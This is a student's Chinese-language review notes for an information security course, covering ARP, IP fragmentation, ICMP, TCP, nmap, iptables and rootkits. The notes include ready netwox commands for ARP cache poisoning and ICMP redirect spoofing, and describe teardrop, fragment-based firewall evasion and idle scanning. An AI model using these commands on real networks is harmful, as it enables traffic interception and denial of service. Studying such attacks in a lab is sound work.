Information Security

《信息安全》课程复习笔记。

ARP 协议问题

  • ARP 协议的作用是什么。
  • 引入 ARP 缓存的功能是什么。
  • ARP 缓存中毒的攻击方法和效果是什么。

ARP 协议的作用是什么?

ARP 是个地址解析协议,执行 32 位 IP 地址和 48 位 MAC 之间的转换。

  1. Host A 希望与 Host B 通信,但只知道 Host B 的 IP 地址;
  2. Host A 广播 Host B IP 的 ARP 请求;
  3. 其他主机均忽略该请求,仅 Host B hit。Host B 回复该 ARP 包,附上自己的 MAC 地址;
  4. Host A 将 Host B 的 IP 地址和 MAC 地址添加到自己的 ARP 缓存中;
  5. Host A 构造对 Host B 的数据包。

为什么要引入 ARP 缓存?

  1. 如果接收到的数据包的硬件地址与本机不符,则直接丢弃。因此在通讯前必须获得目的主机的硬件地址;
  2. 如果没有 ARP 缓存,那么每次通信都需要广播 ARP 请求,获得目的主机的 MAC 地址,加大通信开销;
  3. 因此,为了实现 IP 地址与 MAC 地址的查询与转换,ARP 协议引入了 ARP 缓存表。每台主机或路由器在维护着一个 ARP 缓存表 (ARP table),这个表包含 IP 地址到 MAC 地址的映射关系,表中记录了 < IP 地址,MAC 地址 > 对,即 ARP 表项,他们是主机最近运行时获得关于其他主机的 IP 地址到 MAC 地址的映射;
  4. 当需要发送数据的时候,主机会根据数据报中的目标 IP 地址信息,在 ARP 缓存表中查找对应的 MAC 地址,最后通过网卡将数据发送出去;
  5. ARP 缓存表包含一个寿命值(TTL,也称作生存时间),它将记录每个 ARP 表项的生存时间,生存时间到了就会从缓存表中删除。

ARP 缓存的特点:

  • 每个条目有有效期,一段时间之后就过期了(IP 地址和 MAC 地址的对应关系不是一成不变的);
  • ARP缓存是无状态的。也即,哪怕不是自己主动发请求更新,只要能收到新的 ARP 信息,它也会更新。[ DANGEROUS! ]

使用 arp -a 可查看 ARP 缓存表。

详解 ARP 数据包

以太网帧格式:

Destination MAC Address Source MAC Address Frame Type Frame Data CRC
6 octets 6 octets 2 octets 46-1500 octets 4 octets
  • octet: 字节
  • 广播时,接收方 MAC 地址为 ff-ff-ff-ff-ff-ff
  • Frame type: 0800 IP; 0806 ARP; 8035 RARP(16 进制)

ARP 数据包格式:(填充 Frame Data)

Hardware Type Protocol Type Hardware Size Protocol Size Opcode Sender MAC Address Sender IP Address Target MAC Address Target IP Address
2 octets 2 octets 1 octets 1 octets 2 octets 6 octets 4 octets 6 octets 4 octets
  • 硬件类型指链路层网络类型,1 为以太网
  • 协议类型指要转换的地址类型,0x0800 为 IP 地址
  • 后面两个地址长度对于以太网地址和IP地址分别为 6 和 4(字节)
  • op 字段为 1 表示 ARP 请求,op 字段为 2 表示 ARP 应答

ARP 缓存中毒攻击

有意地误导其他机器,在 ARP 缓存中加入错误的数据。

使用 netwox 80,可以发出 ARP 数据包。sudo netwox 80 -e "00:0C:29:A1:C0:71" -i "192.168.116.2"

  • 实际上 “00:0C:29:A1:C0:71” 对应的 IP 是 “192.168.116.153”,而 .2 IP 是网关。被攻击主机要对外发数据包,都要先发给网关,只要 .153 的主机不开启转发数据包功能,被攻击主机就无法联网。
    (ARP 缓存中毒攻击:要么使主机发送 MAC 帧到错误的 MAC 地址,导致数据被窃听;要么由于 MAC 地址不存在,导致数据发送不成功。)

IP协议安全

  • 为什么IP要进行分片?
  • IP分片如何进行重组?
  • 泪滴攻击(teardrop)的原理是什么?
  • 包过滤防火墙,通过过滤 SYN 包,防止外部链接。攻击者可以如何绕过这个过滤?

详解 IP 数据包

| Frame Header | IP Header | IP Data |

Frame 帧头:6+6+2 = 14 字节

  • 注意 Header Length 的单位,是 32 位,即 4 个字节;
  • ToS:总共有八位,代表不同类型的服务,其中只能设置一位。常见的包括 min delay, 0x10; max throughput, 0x08;max reliability, 0x40; min cost, 0x20。
  • IDent, flags 和 fragment offset:一起用于数据包的分片和重组,也是针对 IP 协议发起攻击的主要利用的字段
  • TTL: Time to Live,由发送者启动,每经过一个路由器就减一。如果到达某一个路由器的时候数据包的 TTL 变为 0,那么就被丢弃。可以有效地防止路由循环
    • 指定 TTL: ping –t TTL
    • 思考:如果修改数据包的 TTL(定制数据包),一般需要 root 权限,那么为什么我们可以通过 ping 程序来修改 TTL?
      • cj@ubuntu:/bin$ ll ping
      • -rwsr-xr-x 1 root root 44168 May 7 2014 ping*
      • ping 将用户的权限变成和 owner 一样。Set UID: 若文件的所有者是超级用户,而且设置了该文件的设置用户位(suid)。该程序由一个进程执行时,则该进程具有超级用户特权。
    • 思考:能不能找到一个 TTL 应用的例子?/////留存
    • TraceRoute 是如何实现的?/////留存
  • TYPE:IP报文中承载的数据的类型;
    • 1, ICMP; 2 IGMP; 6 TCP; 17 UDP;
  • 校验和:
    • 16位补码;仅针对头部计算;每一条都需要重新计算;
  • IP选项,可省略。譬如,可以在IP头部中记录路由。
    • 思考:IP选项的长度最长为多少? max{IHL x 4 - 20} = (2^4 - 1) x 4 - 20 = 40
  • Total length 共 16bit,故 IP 数据报最长可达 65535 字节。

IP 分片

为什么需要IP分片功能?

主要是因为硬件环境 MTU 限制。一个 IP 报文最多可达 65535 的长度;但是网络硬件限制了帧的大小(以太网限制为 1500 字节)。

如何分片?

在 IP 层将报文根据 MTU 分片;每个片段使用与 IP 报文同样的报头;每个片段独立路由。

正如前文所说,IDent, flags 和 fragment offset:一起用于数据包的分片和重组。

  • IDent: 即 identifier,用于标识 IP 报文段的唯一标识符;具有同一 IDent 的片段属于同一个 IP 报文;
  • Fragment Offset: 简称 FO,指明当前片段在原始完整的 IP 报文中的位置(偏移)。该偏移的 单位是 8 个字节
  • Flags: 分三个比特控制/识别片段。
    • 因为每个分片的 Total Length 字段都只会指明当前分片的长度,而不是完整报文的长度;因此接收方没办法判断报文什么时候结束;有这个指示位,可以帮助判断。
bit 0 bit 1 bit 2
保留位,0 不分片 更多分片。此位为 1 表示当前数据报还有更多的分片,为 0 表示当前分片是该数据报最后一个分片

如何将分片重组?

  • 当接收方接收到分片,应该如何进行重组呢?
    • 接收方在收到经过IP层分片的数据报文后,首先根据分片标志中的 MF(More Fragment)位判断是否是最后一个分片报文,如果是,则根据分片偏移量计算各个分片报文在原始数据报中的位置,进行重组。如果不是最后一个分片,则需等待所有分片到达后再完成重组;
    • 操作系统内核协议栈(以下简称协议栈)申请一块和原始数据报相同大小的内存空间,将这些数据报分片按照其偏移拷贝到指定的位置,即可恢复出原先的数据报。
    • 但因为标识符字段只有 16 位,所以理论上只有 65536 个不同的表示。当一台服务器拥有着超过 65536 个活跃连接用户时,理论上会出现重复的数据报分片。即使连接的客户没这么多,但是从概率上如果只用这个标示符的话,依旧会出现可能造成混乱的数据报分片。
    • 如何解决?协议栈判断 IP 分片的依据:hash = ipqhashfn(iph->id, iph->saddr, iph->daddr, iph->protocol);。ipqhashfn 函数依靠(标示符、源地址、目标地址、协议)这个四元组来唯一的表示一个 IP 数据报分片,这就解决了单单依赖表示符无法确定一个数据报的问题。
  • 在路由器上上进行重组还是在目的主机进行重组?
    • 重组发生在目的主机,分片发生在路由器上
  • 如果某一个 IP 分片在路上因为各种原因丢失,怎么办?
    • 如果某个分片报文在网络传输过程中丢失,那么接收方将无法完成重组,如果应用进程要求重传的话,发送方必须重传所有分片报文而不是仅重传被丢弃的那个分片报文,这种效率低下的重传行为会给端系统和网络资源带来额外的消耗。
  • 如果接收到的分片在 Fragment Offset 上出现的重叠,怎么办?
    • 不正常重叠可能导致OS宕机————由于溢出,可能会用其他数据覆盖掉原本的内核数据。
    • 解决方法:当前接收的分片数据包可能与前一个或者后一个已有分片存在重叠部分,需要进行合并
      • 如果与前一个分片(prev)重叠,采用增加当前分片的 OFFSET 值的方法避开重叠部分;
      • 如果是与后一个分片(next)重叠
        • 一种情况是与后一分片的以部分重叠,采用增加后一分片的 OFFSET 的值来避开重叠部分;
        • 另外一种情况是重叠的部分包含整个后一分片,此时就可以 free 掉后一分片,继续检查是否与后后的分片重叠,循环进行处理,直到解决重叠问题为止。
    • 另外,加强内核保护////还有一点,我忘了
  • 如果重组之后大小超过 65535,允许的最大值,怎么办?
    • 偏移量以 8 个字节为单位给出。这允许最大偏移量为 65,528(( 2^{13} -1)* 8)。这意味着具有最大偏移量的 IP 片段应该具有不大于 7 个字节的数据,否则它将超过最大分组长度的限制。
    • 恶意用户可以发送具有最大偏移量的 IP 片段,并且发送的数据远远超过 8 个字节(与物理层允许的数据量一样大)。当接收器组装所有 IP 分段时,它将以一个大于 65,535 字节的 IP 数据包结束。这可能会溢出接收器为数据包分配的内存缓冲区,并可能导致各种问题。
    • 解决:
      • 在重组过程中添加检查。检查每个传入的 IP 片段,确保每个 IP 片段的 IP 头中的“片段偏移”和“总长度”字段的总和小于或等于 65,535。如果总和更大,则数据包无效,并忽略 IP 片段。此检查由某些防火墙执行,以保护未修复错误的主机。or
      • 使用大于 65,535 字节的内存缓冲区来重新组装数据包。

IP 分片攻击

DoS

思路:攻击者构造两个分片,第一个分片的偏移为 0;第二个分片的偏移是 64800。因为 IP 分片可以乱序到达,所以接收方会等待其他分片;同时会为其他分片分配内存空间。相当于一个数据包会使用 64K 的内存。而且这段空间会持续保留 15~255 秒。这样,很快会耗尽主机的内存空间,造成 DoS。

TearDrop

TearDrop攻击的原理,在于构造两个分片。其中,第二个分片完全包含在第一个分片中。也即,第二个分片的 FO 大于第一个分片的 FO,但是第二个分片的 FO + Len,小于第一个分片最后一个字节的位置,也即第一个分片的 FO + Len。

这种攻击的成功,依赖于当分片发生重叠时的重组方法。如果主机选择在发生重叠时,使用第一个分片来覆盖第二个分片的重叠内容,那么 TearDrop 攻击就能够成功(减去之后是负值,gg)。

包过滤防火墙

假设建一个(包过滤)防火墙,只允许自己访问外网,不允许外部访问自己。怎么实现?假设只针对TCP连接:过滤掉SYN包即可。

怎么攻击?(微小碎片攻击)

| IP 包头 最大 60 字节 | TCP 包头 8 字节 |

(RFC791 协议规定,分片最小 68 字节)

这样第一个分片不包含 SYN 信息,成功通过过滤条件,达成攻击。

如何抵御该攻击?

  1. 直接法。防火墙设置规则,如果 FO = 0 且为 TCP 类型,设置一个 TCP 包的最小长度(碎片长度 - IP 包头长度,IP 包头长度在包头中有说明),若小于这个 len_min,则丢掉该包。
  2. 间接法。间接法依赖于这样的观察:当 TCP 数据包被分段以便迫使零偏移片段(第一个分片)中不存在“有趣”的头部字段时,必定存在 FO 等于 1 的片段。如果看到具有 FO == 1 的分组,则相反地,它可以指示在片段集中存在具有八个八位字节的传输报头长度的零偏移片段。丢弃该 FO == 1 偏移片段将阻止接收主机对数据报文的重组。

重叠碎片攻击开始未看

ICMP 攻击

  • 什么是 SMURF 攻击?如何防止?
  • 什么是 ICMP 重定向攻击?如何防止?

ICMP 基础

ICMP 是控制协议,主要是因为IP协议有可能出现报文发送过程中的错误。譬如目标不可达,TTL过期,需要机制通知发送方错误原因。ICMP使得路由器和主机可以向发送方提供错误或者控制信息。

  • 如果 ICMP 信息发生错误,会不会产生 ICMP 错误消息?
    • 对于携带 ICMP 差错报文的数据报,不会再产生 ICMP 差错报文;而对于 ICMP 查询报文,则会产生 ICMP 错误消息。
  • ICMP信息发给发送方,需不需要发给中间路由器?
    • 记得是 no???/////留存

  • TYPE (8-bit): identifies the message
    • 0: Echo Reply //ping reply
    • 3: Destination Unreachable
    • 5: Redirect (change route)
    • 8: Echo Request //ping request
  • CODE (8-bit): provides further information about the message type
  • In addition, ICMP messages that report errors always include the header and the first 64 data bits of the datagram causing the problem.

ICMP 重定向报文除了 ICMP 包中的通用头部之外,还包括原始 IP 头部信息和数据报文的前 8 个字节 (64 bits = 8 octets)。也即,在构造 ICMP 重定向包中,除了头部之外,还需要额外的 28 字节(在 IP 头部没有可选字段的情况下)

ICMP 重定向

路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。

主机在路由设置的时候,最开始只有一条默认的路由信息,然后当接收到路由器通知它改变路由的时候,会更新自己的路由表。

在什么情况下,路由器会向主机发送更新路由表的通知呢?在以下情况下,网关会向主机发送重定向消息。

  1. 网关 G1 从网关所连接的网络上的主机接收互联网数据报;
  2. 网关 G1 检查其路由表,并在到数据报的因特网目的地网络 X 的路由上获得下一个网关 G2 的地址;
  3. 如果 G2 和由数据报的因特网源地址识别的主机在同一网络上,则向主机发送重定向消息,重定向消息建议主机将其网络 X 的流量直接发送到网关 G2,因为这是到目的地的较短路径;
  4. 网关将原始数据报的数据转发到其互联网目的地。

SMURF 攻击

目的地址:IP 广播地址,欺骗源 IP:预期受害者 IP,发送大量互联网控制消息协议(ICMP)分组广播到计算机网络。默认情况下,网络上的大多数设备都会通过向源 IP 地址发送回复来对此做出响应。如果网络上接收和响应这些数据包的机器数量非常大,受害者的计算机将忙于处理 ping 回复包。这可能会使受害者的计算机变慢,无法继续工作。

如何防止Smurf攻击?

  1. 配置各个主机和路由器不响应ICMP请求或广播;or
  2. 配置路由器不转发定向到广播地址的数据包。

ICMP 重定向攻击

Netwox 实现 ICMP 重定向攻击

sudo netwox 86 -g 192.168.72.134 -i 192.168.72.2

其中 -g 指定新的网关地址;-i 是当前网关地址;即:攻击者冒充当前网关 .2,通知受害者修改自己的网关 IP。netwox 发出的 ICMP 重定向包的目的 IP 是受害者正通信的 IP,也即,netwox 先抓到受害者的数据包,根据捕获包的 IP 地址,再构造攻击包。

在 VMware 虚拟环境中,.2 是充当网关的默认地址;所以攻击者可以冒充 .2 发出重定向包,通知受害者修改自己的网关为攻击者指定的 gw 地址。

  • 如果伪造的 gw 是自身,可以实现中间人攻击或者 DOS 攻击(没有启动 IP 转发功能);
  • 如果是随意 IP(不能到达或不负责转发),则可以导致 DOS 攻击。

socket 编程

https://www.cnblogs.com/skynet/archive/2010/12/12/1903949.html

进程间通信,IPC的种类???

使用AF_INET,用户程序无法获得链路层数据,也即,以太网头部。简单来说,使用AF_INET,是面向IP层的原始套接字;使用AF_PACKET,是面向链路层的套接字。

IP(IPv4 IPv6)、… –> 抽象:socketsddress

BE & LE –> 0x0200 & 0x0002,02 和 00 分别为一个字节。

网络字节序:大端

1
2
3
4
5
6
7
8
9
struct sockaddr_in myaddr;
int s;

myaddr.sin_family = AF_INET;
myaddr.sin_port = htons(3456);
inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);//inet_aton() :address to network

s = socket(PF_INET, SOCK_STREAM, 0);//s: 文件描述符
bind(s, (struct sockaddr*)myaddr, sizeof(myaddr));

35:28’ 讲socket代码

read( , , 0)//0标准输入 1标准输出 2标准出错

execlp("/bin/bash","/bin/bash",NULL);//该函数直接调用别的命令

TCP/UDP 协议安全

  • 什么是 SYN flooding 攻击?效果是什么?如何防止?
  • 端口扫描的原理是什么?
  • namp -sS 和 nmap -sT 的区别是什么?
  • nmap -sA 扫描的原理是什么?
  • nmap idle 扫描的原理是什么?

TCP 基础

  • 端口是一种抽象的软件结构,包括一些数据结构和I/O缓冲。
  • TCP 在数据传递时,有确认、窗口、重传、拥塞控制机制。

  • Data offset: HLEN
  • TCP 校验和覆盖 TCP 首部和 TCP 数据,而 IP 首部中的校验和只覆盖 IP 的头部。TCP 的校验和是必需的,而 UDP 的校验和是可选的。TCP 和 UDP 计算校验和时,都要加上一个 12 字节的伪首部。
    • 伪首部包含:源 IP 地址、目的 IP 地址、保留字节(置 0)、传输层协议号(TCP 是 6)、TCP 报文长度(报头+数据)。伪首部是为了增加 TCP 校验和的检错能力:如检查 TCP 的源和目的 IP 地址、传输层协议等。
    • 计算:把伪首部、TCP 报头、TCP 数据分为 16 位的计算单位,如果总长度为奇数个字节,则在最后增添一个全为 0 的字节。计算式首先把 TCP 报头中的校验和字段置为 0。然后使用反码相加法累加所有的 16 位字(进位也要累加)。最后,对计算结果取反,作为 TCP 的校验和。
  • Sequence number (32 bits) has a dual role:
    • If the SYN flag is set (1), then this is the initial sequence number. The sequence number of the actual first data byte and the acknowledged number in the corresponding ACK are then this sequence number plus 1.
    • If the SYN flag is clear (0), then this is the accumulated sequence number of the first data byte of this segment for the current session.
  • Acknowledgment number (32 bits):
    • If the ACK flag is set then the value of this field is the next sequence number that the sender of the ACK is expecting. This acknowledges receipt of all prior bytes (if any). The first ACK sent by each end acknowledges the other end’s initial sequence number itself, but no data.

ACK: All packets after the initial SYN packet sent by the client should have this flag set.

Signal
SYN
ACK
RST
FIN

Connection Established:

Client Server
SYN↘ Sequence number: a random value A
↘_
↙SYN-ACK Sequence Number: another random number, B; Acknowledge Number: A+1
_↙
ACK↘ Sequence Number: A+1, Acknowledge Number: another random number, B+1
↘_
ESTAB- -LISHED!
++++++ ++++++++
FIN↘
↘_
↙ACK
_↙
↙FIN
_↙
ACK↘
↘_
TERMI- -NATION ·

SYN flooding 攻击

当应用开放了一个 TCP 端口后,该端口就处于侦听状态,不停地监视发到该端口的 SYN 报文,一旦接收到 SYN 报文,就需要为即将建立的 TCP 连接分配 TCB(Transmission Control Block),并且进入半开连接(half-opening)状态,也即收到 SYN 包而还未收到 ACK 包时的连接状态。如果半开连接的个数过多,就会消耗掉可用的内存,使得新的正常的连接请求不能被处理。

如何防范?

  • SYN Cache:在接收到 SYN 包时,仅仅分配有限的空间,来维持其后可能需要的信息,而不是分配整个的 TCP 控制块。每次来了 SYN 包,那么就在 SYNCache 队列中生成一个项,保持一些基本信息;然后在收到 ACK 时检查 SYNCache 队列,如果能找到合适的项,那么开始建立 TCP 连接,然后删除 SYNcache 中的项。使用 TCPCache 可以抵御 DoS 主要是通过保持有限的信息,节约资源;以及通过限制 SynCache 的大小限制 SYN 包的数目。
  • SYN Cookie:计算换空间。SYN Cookie 的思路是在 ACK 到达之前不分配任何资源,回复 SYN + ACK 包时构造一个特殊的序列号,然后接到 ACK 回复时根据确认号进行判断。
    • SYN Cookie 的缺点暂时留存
    • 使用 SYN Cookie 有没有可能导致攻击?有。计算量很大,当发送大量 SYN 时即可实现攻击。

nmap

基础知识

  • 在接收到到 SYN 数据包时,如果端口是开放的,那么会回复 SYN|ACK,如果端口是关闭的,那么会回复 RST。
  • 如果机器在没有发送 SYN 的情况下,收到一个 SYN|ACK 包,那么会回复 RST。一个不请自来的 RST 会被忽略。
  • 每一个 IP 包都有 identifier 字段,用于标识属于同一数据包的所有 IP 碎片(下文称为 IP ID)。
  • 每发一个 IP 数据包,很多操作系统对 identifier 字段简单地增加 1。
  • 因此,针对 identifier 字段进行检测,可以判断主机距离上一次发包之后又发了几个数据包。

    端口扫描

    nmap 的工作原理就是它会首先一个个地发送 SYN 包,尝试与一些端口的连接
  • 如果端口有响应,并且能够建立起连接,那么 nmap 就能够判断得出来,这个端口是 open 的。因为 nmap 只是探测,并没有真正要建立连接的意图,所以,在建立连接之后,会发出 RST 将会话中断;
  • 如果是 close 的端口,那么端口会发送一个 RST 数据包。nmap 收到这个数据包,也能判断出这个端口的开关情况。

↑ TCP connect(-sT)扫描

缺点:如果对方端口是开着的,会建立完整的会话连接,然后再发送 RST。一旦建立连接,对方主机的 log 就会记录下来,如果对方查看日志,就能够判断得出来自己被扫描了,而且会把扫描主机列上黑名单。

  • 改进:判断端口是否开放的标准其实是第二个数据包,如果在接收到 SYN+ACK 数据包之后不回复 ACK,而是回复 RST,那么既可以判断出来这个端口是开放的,同时又能够不留下痕迹。但是,不完成 TCP 三次握手,实际上是违反了协议栈的规定,因此需要使用者有超级权限,那么就可以不完成三次握手,从而实现更隐秘的扫描。即 TCP SYN(半开-sS)扫描。//nmap 与 sudo nmap 的区别

↑ TCP SYN(半开-sS)扫描

但是,如果 SYN 包被防火墙过滤了,nmap 收不到响应,也就无法判断了。

↑ TCP-sA 扫描

总结如下:

扫描方式 原理 作用 特点
TCP-sT 扫描 发送 SYN,若对方回复 SYN+ACK,则回复 ACK,之后再回复 RST 断开连接,得知对方端口开放;若对方回复 RST,则说明对方端口关闭。 判断端口开放/关闭/过滤 容易被对方 log 记录
TCP-sS 扫描 若对方回复 SYN+ACK,则直接回复 RST 判断端口开放/关闭/过滤 需要特殊权限,不会被记录
TCP-sA 扫描 通过设置 ACK 位进行扫描。若目的端口未被过滤,则会回复 RST,若对方端口已被过滤,则没有回复 识别端口是否被过滤
TCP-sF 扫描 通过设置 FIN 位进行扫描。若没有回复,说明是 open/filtered;若端口关闭,则回复 RST 识别端口是否被关闭 ·

当扫描对象被防火墙保护,譬如所有的SYN包都被过滤的情况下,-sS型扫描不能成功;但是-sA和-sF一般不是重点防御对象,所以可以经由这两种的扫描获得有用的信息。

namp fragment扫描(-f)和version扫描未看

nmap idle 扫描主要是借用一台僵尸机辅助扫描。步骤如下:

  1. 扫描者发送 SYN/ACK 给 zombie 主机,得到一个 RST 回复,记录下 IP ID 为1033。
  2. 扫描者伪造数据包,冒充 zombie 发给目标主机 SYN 包。如果目标主机上该端口是开着的,那么会发送 SYN+ACK,zombie 收到这个数据包,会发送 RST;如果是关着的,会发送 RST,zombie 收到这个数据包,会直接忽略。因此,取决于目标主机的端口开放与否,Zombie 主机会发送至多一个数据包;也即 IPID 会增加 1 或者保持不变。
  3. 扫描者再次发送 SYN/ACK 到 Zombie,查看 IPID。如果增加为 2,说明目标主机相应端口开放;否则如果增加 1,说明目标主机端口关闭。如果是增加了一个比 2 还大的数字,那么就说明 Zombie 主机不太称职,它发的包太多了。

idle 扫描无法区分关闭和过滤的情况。

防火墙

  • iptables 是状态防火墙。状态防火墙相比于包过滤防火墙的优点是什么?
  • NAT 的作用是什么?
  • sudo iptables –P INPUT DROPiptables -A INPUT -p tcp --sport 80 -j ACCEPT 这两条语句的作用是什么?

防火墙分为三类:

  1. 包过滤防火墙(packet filter):包过滤防火墙也可以称为无状态防火墙,静态防火墙。包过滤是通过 ACL(Access Control List)规则控制数据流的。IP 数据包中最明显最核心的五元素就是,源地址、目标地址、协议、源端口、目标端口 dport。包过滤主要也就是根据这些包头部的元素进行判断。
  • 缺点:①难以处理分片(IP碎片攻击);②不支持某些复杂的协议;③不能防止应用层等恶意攻击,因为它根本不识别应用层的数据。
  1. 应用层网关代理(Application level Gateway):应用代理网关防火墙彻底隔断内网与外网的直接通信,内网用户对外网的访问变成防火墙对外网的访问,服务器返回的数据首先到达防火墙,经过安全策略检测,然后再由防火墙转发给内网用户。也即所有通信都必须经应用层代理软件转发。
  • 优点:对数据的控制直接上升到应用层,对数据包检测非常充分;
  • 缺点:同时为了实现这一点,对于每一个服务应用,写要编写特定的安全代理程序,也即相应的客户端与服务器端程序。因此,很多应用用得不到支持。
  1. 状态防火墙(stateful firewall):状态检测防火墙在接收到连接建立请求时,会建立一张表,在表中存储相关的各个连接的信息,建立连接状态规则,基于这个表对进入和出去的数据包进行匹配。当然,状态防火墙同样可以实现包过滤防火墙的各种功能,进行网络层和传输层的各种检查。因此,动态的意思是,在同一个会话中,五元组不会变化,但是各种状态标识、分片等都是可以变化的。通过结合状态进行过滤,可以实现比较好的效果。

iptables 使用

iptables 基本规则管理命令:

  • -A, –append chain rule-specification:追加新规则于指定链的尾部;
  • -I, –insert chain [ rulenum ] rule-specification:插入新规则于指定链的指定位置,默认为首部;
  • -R, –replace chain rulenum rule-specification:替换指定的规则为新的规则;
  • -D, –delete chain rulenum:根据规则编号删除规则;
  • -D, –delete chain rule-specification:根据规则本身删除规则;

基本链管理命令:

  • -F, –flush [ chain ]:清空指定的规则链上的规则;
  • -P, –policy chain target 制定链表的策略(ACCEPT|DROP|REJECT)
  • -L, –list [ chain ]:列出规则;

sudo iptables –P INPUT DROP//丢弃所有进来的数据包。如此,数据包可以出去,但是因为收不到返回的数据包,所以基本就没有反应
iptables -A INPUT -p tcp --sport 80 -j ACCEPT//对 80 端口的 tcp 包采取动作 ACCEPT
sudo iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT//只接受icmp echo reply

FTP 端口:DATA-20, CONTROL-21。在 drop 包之后,如何恢复 FTP 使用?

  1. ACCEPT 端口为 21 的包 sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
  2. ACCEPT ESTABLISHED 状态的包。 sudo iptables -A INPUT -p tcp -m state --state ESTABLISHED, RELATED -j ACCEPT

ftp 为何一定需要通过状态才能正常连接呢,主要是因为 ftp 的命令传输和数据传输的时候使用的是两个不同的端口。命令传输的时候使用的是 21 端口;而数据大量传输的时候,使用的是 20 端口。这样,仅仅开放 21 端口,能够正常登陆;但是使用 ls 这样的命令查看数据的时候就不能正常接收到数据了。

telnet端口:23.

iptables 结构

filter 主要负责防火墙功能,过滤本机流入流出的数据包,是默认使用的表;

  • input:过滤进入主机的数据包;
  • forward:负责转发流经主机但不进入本机的数据包,和 NAT 关系很大;
  • output:负责处理本机发出的数据包。

NAT 表负责网络地址转换,即来源于目的 IP 地址和端口的转换,一般用于共享上网或特殊端口的转换服务

  • snat:地址转换
  • dnat:标地址转换
  • pnat:标端口转换

mangle 表负责拆解报文,修改并重新封装。

raw 表可以关闭 iptables 中开启的连接追踪。

链名 功能
INPUT 处理入站数据包
OUTPUT 处理出战数据包
FORWARD 处理转发数据包,主要是将数据转发到本机其他网卡设备
PREROUTING 在进行路由选择前处理数据包,判断目标主机
POSTROUTING 在进行路由选择后处理数据包,判断路由哪一接口送往下一跳

根据表规则和链规则分析数据包的过滤匹配流程://///一知半解,等大佬再解释一下

NAT 表

↑ 只包含 filter 和 NAT 的数据包过滤匹配流程

NAT 英文全称是 “Network Address Translation”,网络地址转换。它是一种把内部私有网络地址(IP 地址)翻译成合法网络 IP 地址的技术。因此 NAT 在一定程度上,能够有效的解决公网地址不足的问题。

  • 譬如由于 IPv4 地址匮乏,一个机构中有十台主机需要上网,但是这个机构只分配到了一个公网 IP。在局域网内部,这十台主机可以使用私有地址进行通信;但是为了获得公网中的服务,必须使用公网 IP。NAT 就可以用于解决这个问题。内网主机向外发出数据包时,NAT 服务负责将数据包的源 IP 地址改成公网 IP 地址(SNAT);当外网对内网主机的回复到达时,NAT 服务将回复包的目的 IP 再改成内网 IP 地址(DNAT)。
  • 在 iptables 中,可以通过在 PREROUTING 链和 POSTROUTING 链上分别应用 DNAT 和 SNAT 实现这种内网 IP 和公网 IP 的转换。
    • PREROUTING 是在外网的数据包到达内网,还未决定该数据包的去向时的动作,也即,此时的数据包,(一般而言)源 IP 是外网服务器,目的地址此时也是公网 IP,需要转换成内网 IP;
    • POSTROUTING 是内网数据包朝外发送,此时已经根据目的 IP 地址决定好了路由决定,源 IP 还是内网 IP,需要转换成公网 IP。
    • 因此,PREROUTING 链上一般的动作是 DNAT,而 POSTROUTING 链上的动作一般是 SNAT。

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212

iptables –t nat –A PREROUTING –i eth1 –d 61.240.149.149 –p tcp –dport 80 –j DNAT --to-destination 192.168.10.6:80

DNAT即目地地址转换,则能够让外网用户访问局域网内不同的服务器。(相当于SNAT的反向代理)

代理那个,好烦,脑阔疼,没看


Rootkit

  • 什么是 rootkit?
  • LKM 的好处是什么?
  • 请描述系统调用劫持的过程。
  • 请解释,为何 Unix 可以做到一切皆文件。

Rootkit

A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network,mask the fact that the system is compromised, and much more.

  • Rootkit 的作用在于“能维持 root 权限的一套工具”。它的目的是隐藏自己以及恶意程序,达到长期在目的主机存在并收集信息的目的。Rootkit 一般和后门等程序结合使用,帮忙隐藏后门的踪迹。
  • 通常,攻击者通过远程攻击获得 root 访问权限(譬如密码猜测、破解、缓冲区溢出、0-day 漏洞),然后安装后门,便于之后回访,安装 rootkit,隐藏踪迹,收集信息,便于长期回访以及获得对其他系统的访问权限。

在应用层面,如替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门,攻击者写的代码直接调用系统调用,对系统调用返回的结果进行处理就行。如何发现?安全人员自己来写一套工具。然后将自己的代码返回的结果,与系统工具返回的结果进行比较。如果相同,说明系统程序没有被篡改;如果不同,那么自己的系统可能需要重装了。

rootkit本身的发展过程:应用级->内核级->硬件级。

Linux 权限管理

进程每次打开、创建或者删除文件时,内核进行文件访问权限测试,这种测试涉及文件的所有者,进程的有效ID。基本规则是:

  1. 如进程的有效ID是0, 则允许访问;
  2. 如果进程的有效ID等于文件的所有者ID,那么如果设置了文件的所有者权限位,则允许访问。
  3. 如果进程的有效组ID是文件的组ID,则根据组权限判断。
  4. 如果设置了其它用户的访问权限,则根据其它用户访问权限进行判断。

664,意味着 owner、group 和 other 的权限。664 就对应着 -rw-rw-r–,r、w 和 x 分别对应着文件的读、写和执行权限。s 代表

真实 UID(real UID)、有效 UID(effective UID)以及保存的 UID(saved set-user-ID):

  • 实际用户 ID 和实际组 ID 标示我们实际上是谁;这两个字段是在登录时读取口令文件中的登录项。一般情况下,在一个会话期间,实际用户和实际组用户不会改变;但超级用户的进程可能改变它们。
  • 有效用户 ID,有效组 ID 以及附加组 ID 决定了文件访问权限
  • 保存的设置用户 ID 在执行程序时包含了有效用户 ID 的副本。

当执行一个可执行文件时,进程的有效用户 ID 通常就是实际用户 ID,有效组 ID 通常是实际组 ID。但是可以设置特殊标志,含义是“当执行此文件时,将进程的有效用户 ID 设置为可执行文件所有者的 ID”。因此,当文件设置了 setuid 之后,实际用户 ID 和有效用户 ID 可能是不同的,此时的有效用户 ID 是文件所有者的 ID。

(↑ 感谢汪宇的图,直接盗了)

Backdoor:

LKM

Loadable Kernel Module, LKM 是一段运行在内核空间的代码,是L inux 内核为了扩展其功能所使用的可加载内核模块。LKM 的优点是动态加载,在不重编译内核和重启系统的条件下对类 Unix 系统的系统内核进行修改和扩展。否则的话,对 Kernel 代码的任何修改,都需要重新编译 Kernel,大大浪费了时间和效率。

系统调用劫持

系统调用

